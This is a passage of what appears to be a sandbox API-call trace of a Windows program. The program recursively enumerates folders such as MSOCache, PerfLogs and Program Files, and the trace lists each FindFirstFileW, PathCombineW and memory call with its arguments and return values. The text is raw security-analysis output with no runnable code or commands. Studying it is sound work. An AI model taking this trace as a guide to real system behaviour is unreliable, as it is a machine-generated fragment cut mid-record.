1 [0266.533] PathCombineW (in: pszDest=0x6f3d70, pszDir="C:\\MSOCache\\All Users", pszFile="{90160000-00E1-0409-0000-0000000FF1CE}-C" | out: pszDest="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C" [0266.533] LocalFree (hMem=0x6f3d70) returned 0x0 [0266.533] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd3209120, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd32c7800, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="{90160000-00E2-0409-0000-0000000FF1CE}-C", cAlternateFileName="{97E7F~1")) returned 1 [0266.533] PathCombineW (in: pszDest=0x6f3d70, pszDir="C:\\MSOCache\\All Users", pszFile="{90160000-00E2-0409-0000-0000000FF1CE}-C" | out: pszDest="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C" [0266.533] LocalFree (hMem=0x6f3d70) returned 0x0 [0266.533] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2589da0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd3209120, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="{90160000-0115-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9AA2F~1")) returned 1 [0266.533] PathCombineW (in: pszDest=0x6f3d70, pszDir="C:\\MSOCache\\All Users", pszFile="{90160000-0115-0409-0000-0000000FF1CE}-C" | out: pszDest="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C" [0266.533] LocalFree (hMem=0x6f3d70) returned 0x0 [0266.533] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb9178720, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb9178720, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="{90160000-0116-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90160~1")) returned 1 [0266.533] PathCombineW (in: pszDest=0x6f3d70, pszDir="C:\\MSOCache\\All Users", pszFile="{90160000-0116-0409-1000-0000000FF1CE}-C" | out: pszDest="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C" [0266.533] LocalFree (hMem=0x6f3d70) returned 0x0 [0266.533] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd091f700, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd16f56e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd16f56e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="{90160000-0117-0409-0000-0000000FF1CE}-C", cAlternateFileName="{90160~4")) returned 1 [0266.533] PathCombineW (in: pszDest=0x6f3d70, pszDir="C:\\MSOCache\\All Users", pszFile="{90160000-0117-0409-0000-0000000FF1CE}-C" | out: pszDest="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C" [0266.533] LocalFree (hMem=0x6f3d70) returned 0x0 [0266.533] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd247f400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2563c40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2563c40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="{90160000-012B-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9B15F~1")) returned 1 [0266.534] PathCombineW (in: pszDest=0x6f3d70, pszDir="C:\\MSOCache\\All Users", pszFile="{90160000-012B-0409-0000-0000000FF1CE}-C" | out: pszDest="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C" [0266.534] LocalFree (hMem=0x6f3d70) returned 0x0 [0266.534] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd247f400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2563c40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2563c40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="{90160000-012B-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9B15F~1")) returned 0 [0266.534] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.535] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.535] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.536] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.536] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 0 [0266.537] LocalFree (hMem=0x6f4ec0) returned 0x0 [0266.537] LocalFree (hMem=0x6bf278) returned 0x0 [0266.537] FindClose (in: hFindFile=0x6ca4c0 | out: hFindFile=0x6ca4c0) returned 1 [0266.538] LocalFree (hMem=0x6f15b0) returned 0x0 [0266.538] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x61c838a0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x6e284e, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0266.538] PathCombineW (in: pszDest=0x6f15b0, pszDir="C:", pszFile="PerfLogs" | out: pszDest="C:\\PerfLogs") returned="C:\\PerfLogs" [0266.538] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f4ec0 [0266.538] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f1fe0 [0266.538] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f4ec0, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.538] StrCpyW (in: psz1=0x6f4ec0, psz2="C:\\PerfLogs" | out: psz1="C:\\PerfLogs") returned="C:\\PerfLogs" [0266.538] StrCpyW (in: psz1=0x6f1fe0, psz2="C:\\PerfLogs" | out: psz1="C:\\PerfLogs") returned="C:\\PerfLogs" [0266.538] lstrlenW (lpString="\\*") returned 2 [0266.538] lstrlenW (lpString="C:\\PerfLogs") returned 11 [0266.538] LocalAlloc (uFlags=0x40, uBytes=0x11a) returned 0x6bf278 [0266.539] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*" (normalized: "c:\\perflogs\\*"), lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca4c0 [0266.539] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\PerfLogs", pszFile="Admin" | out: pszDest="C:\\PerfLogs\\Admin") returned="C:\\PerfLogs\\Admin" [0266.539] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.539] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.540] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.540] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\PerfLogs\\Admin" | out: psz1="C:\\PerfLogs\\Admin") returned="C:\\PerfLogs\\Admin" [0266.540] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\PerfLogs\\Admin" | out: psz1="C:\\PerfLogs\\Admin") returned="C:\\PerfLogs\\Admin" [0266.540] lstrlenW (lpString="\\*") returned 2 [0266.540] lstrlenW (lpString="C:\\PerfLogs\\Admin") returned 17 [0266.540] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x6f3c38 [0266.540] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Admin\\*" (normalized: "c:\\perflogs\\admin\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.541] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.542] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.542] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.542] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.542] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="Admin", cAlternateFileName="")) returned 0 [0266.542] LocalFree (hMem=0x6f4ec0) returned 0x0 [0266.543] LocalFree (hMem=0x6bf278) returned 0x0 [0266.543] FindClose (in: hFindFile=0x6ca4c0 | out: hFindFile=0x6ca4c0) returned 1 [0266.543] LocalFree (hMem=0x6f15b0) returned 0x0 [0266.543] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9cc8ed50, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9cc8ed50, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6e284e, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0266.544] PathCombineW (in: pszDest=0x6f15b0, pszDir="C:", pszFile="Program Files" | out: pszDest="C:\\Program Files") returned="C:\\Program Files" [0266.544] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f4ec0 [0266.544] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f1fe0 [0266.544] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f4ec0, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.544] StrCpyW (in: psz1=0x6f4ec0, psz2="C:\\Program Files" | out: psz1="C:\\Program Files") returned="C:\\Program Files" [0266.544] StrCpyW (in: psz1=0x6f1fe0, psz2="C:\\Program Files" | out: psz1="C:\\Program Files") returned="C:\\Program Files" [0266.544] lstrlenW (lpString="\\*") returned 2 [0266.544] lstrlenW (lpString="C:\\Program Files") returned 16 [0266.545] LocalAlloc (uFlags=0x40, uBytes=0x124) returned 0x6bf278 [0266.546] FindFirstFileW (in: lpFileName="C:\\Program Files\\*" (normalized: "c:\\program files\\*"), lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9cc8ed50, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9cc8ed50, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca4c0 [0266.547] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files", pszFile="Common Files" | out: pszDest="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files" [0266.547] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.547] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.547] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.547] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files\\Common Files" | out: psz1="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files" [0266.547] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files\\Common Files" | out: psz1="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files" [0266.547] lstrlenW (lpString="\\*") returned 2 [0266.547] lstrlenW (lpString="C:\\Program Files\\Common Files") returned 29 [0266.547] LocalAlloc (uFlags=0x40, uBytes=0x13e) returned 0x6f3c38 [0266.548] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\*" (normalized: "c:\\program files\\common files\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x961e3370, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x961e3370, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.548] PathCombineW (in: pszDest=0x6f3d80, pszDir="C:\\Program Files\\Common Files", pszFile="Microsoft Shared" | out: pszDest="C:\\Program Files\\Common Files\\Microsoft Shared") returned="C:\\Program Files\\Common Files\\Microsoft Shared" [0266.548] LocalFree (hMem=0x6f3d80) returned 0x0 [0266.548] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="Services", cAlternateFileName="")) returned 1 [0266.548] PathCombineW (in: pszDest=0x6f3d80, pszDir="C:\\Program Files\\Common Files", pszFile="Services" | out: pszDest="C:\\Program Files\\Common Files\\Services") returned="C:\\Program Files\\Common Files\\Services" [0266.548] LocalFree (hMem=0x6f3d80) returned 0x0 [0266.548] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1 [0266.548] PathCombineW (in: pszDest=0x6f3d80, pszDir="C:\\Program Files\\Common Files", pszFile="SpeechEngines" | out: pszDest="C:\\Program Files\\Common Files\\SpeechEngines") returned="C:\\Program Files\\Common Files\\SpeechEngines" [0266.548] LocalFree (hMem=0x6f3d80) returned 0x0 [0266.549] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="System", cAlternateFileName="")) returned 1 [0266.549] PathCombineW (in: pszDest=0x6f3d80, pszDir="C:\\Program Files\\Common Files", pszFile="System" | out: pszDest="C:\\Program Files\\Common Files\\System") returned="C:\\Program Files\\Common Files\\System" [0266.549] LocalFree (hMem=0x6f3d80) returned 0x0 [0266.549] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c0b3e80, ftCreationTime.dwHighDateTime=0x1d8985e, ftLastAccessTime.dwLowDateTime=0x31f6bbb0, ftLastAccessTime.dwHighDateTime=0x1d89970, ftLastWriteTime.dwLowDateTime=0x31f6bbb0, ftLastWriteTime.dwHighDateTime=0x1d89970, nFileSizeHigh=0x0, nFileSizeLow=0x16b02, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="Yt1B ICImbV.png", cAlternateFileName="YT1BIC~1.PNG")) returned 1 [0266.549] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.549] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.549] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.549] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.549] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0266.550] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files", pszFile="DVD Maker" | out: pszDest="C:\\Program Files\\DVD Maker") returned="C:\\Program Files\\DVD Maker" [0266.550] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.550] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.550] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.550] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files\\DVD Maker" | out: psz1="C:\\Program Files\\DVD Maker") returned="C:\\Program Files\\DVD Maker" [0266.550] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files\\DVD Maker" | out: psz1="C:\\Program Files\\DVD Maker") returned="C:\\Program Files\\DVD Maker" [0266.550] lstrlenW (lpString="\\*") returned 2 [0266.550] lstrlenW (lpString="C:\\Program Files\\DVD Maker") returned 26 [0266.550] LocalAlloc (uFlags=0x40, uBytes=0x138) returned 0x6f3c38 [0266.550] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\*" (normalized: "c:\\program files\\dvd maker\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98b19050, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x98b19050, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.551] PathCombineW (in: pszDest=0x6f3d78, pszDir="C:\\Program Files\\DVD Maker", pszFile="en-US" | out: pszDest="C:\\Program Files\\DVD Maker\\en-US") returned="C:\\Program Files\\DVD Maker\\en-US" [0266.551] LocalFree (hMem=0x6f3d78) returned 0x0 [0266.551] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd559b52d, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd559b52d, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xddb8, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="Eurosti.TTF", cAlternateFileName="")) returned 1 [0266.551] PathCombineW (in: pszDest=0x6f3d78, pszDir="C:\\Program Files\\DVD Maker", pszFile="Shared" | out: pszDest="C:\\Program Files\\DVD Maker\\Shared") returned="C:\\Program Files\\DVD Maker\\Shared" [0266.551] LocalFree (hMem=0x6f3d78) returned 0x0 [0266.551] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 1 [0266.551] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.552] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.552] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.552] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.552] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x979d70d0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x979d70d0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0266.552] lstrcmpW (lpString1="Internet Explorer", lpString2="..") returned 1 [0266.552] lstrcmpW (lpString1="Internet Explorer", lpString2=".") returned 1 [0266.552] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.552] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files", pszFile="Internet Explorer" | out: pszDest="C:\\Program Files\\Internet Explorer") returned="C:\\Program Files\\Internet Explorer" [0266.552] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.552] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.552] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.552] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files\\Internet Explorer" | out: psz1="C:\\Program Files\\Internet Explorer") returned="C:\\Program Files\\Internet Explorer" [0266.552] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files\\Internet Explorer" | out: psz1="C:\\Program Files\\Internet Explorer") returned="C:\\Program Files\\Internet Explorer" [0266.552] lstrlenW (lpString="\\*") returned 2 [0266.552] lstrlenW (lpString="C:\\Program Files\\Internet Explorer") returned 34 [0266.552] LocalAlloc (uFlags=0x40, uBytes=0x148) returned 0x6f3c38 [0266.553] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\*" (normalized: "c:\\program files\\internet explorer\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x979d70d0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x979d70d0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.553] PathCombineW (in: pszDest=0x6f3d88, pszDir="C:\\Program Files\\Internet Explorer", pszFile="en-US" | out: pszDest="C:\\Program Files\\Internet Explorer\\en-US") returned="C:\\Program Files\\Internet Explorer\\en-US" [0266.553] LocalFree (hMem=0x6f3d88) returned 0x0 [0266.553] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f55643f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f55643f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x23ff2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0266.553] PathCombineW (in: pszDest=0x6f3d88, 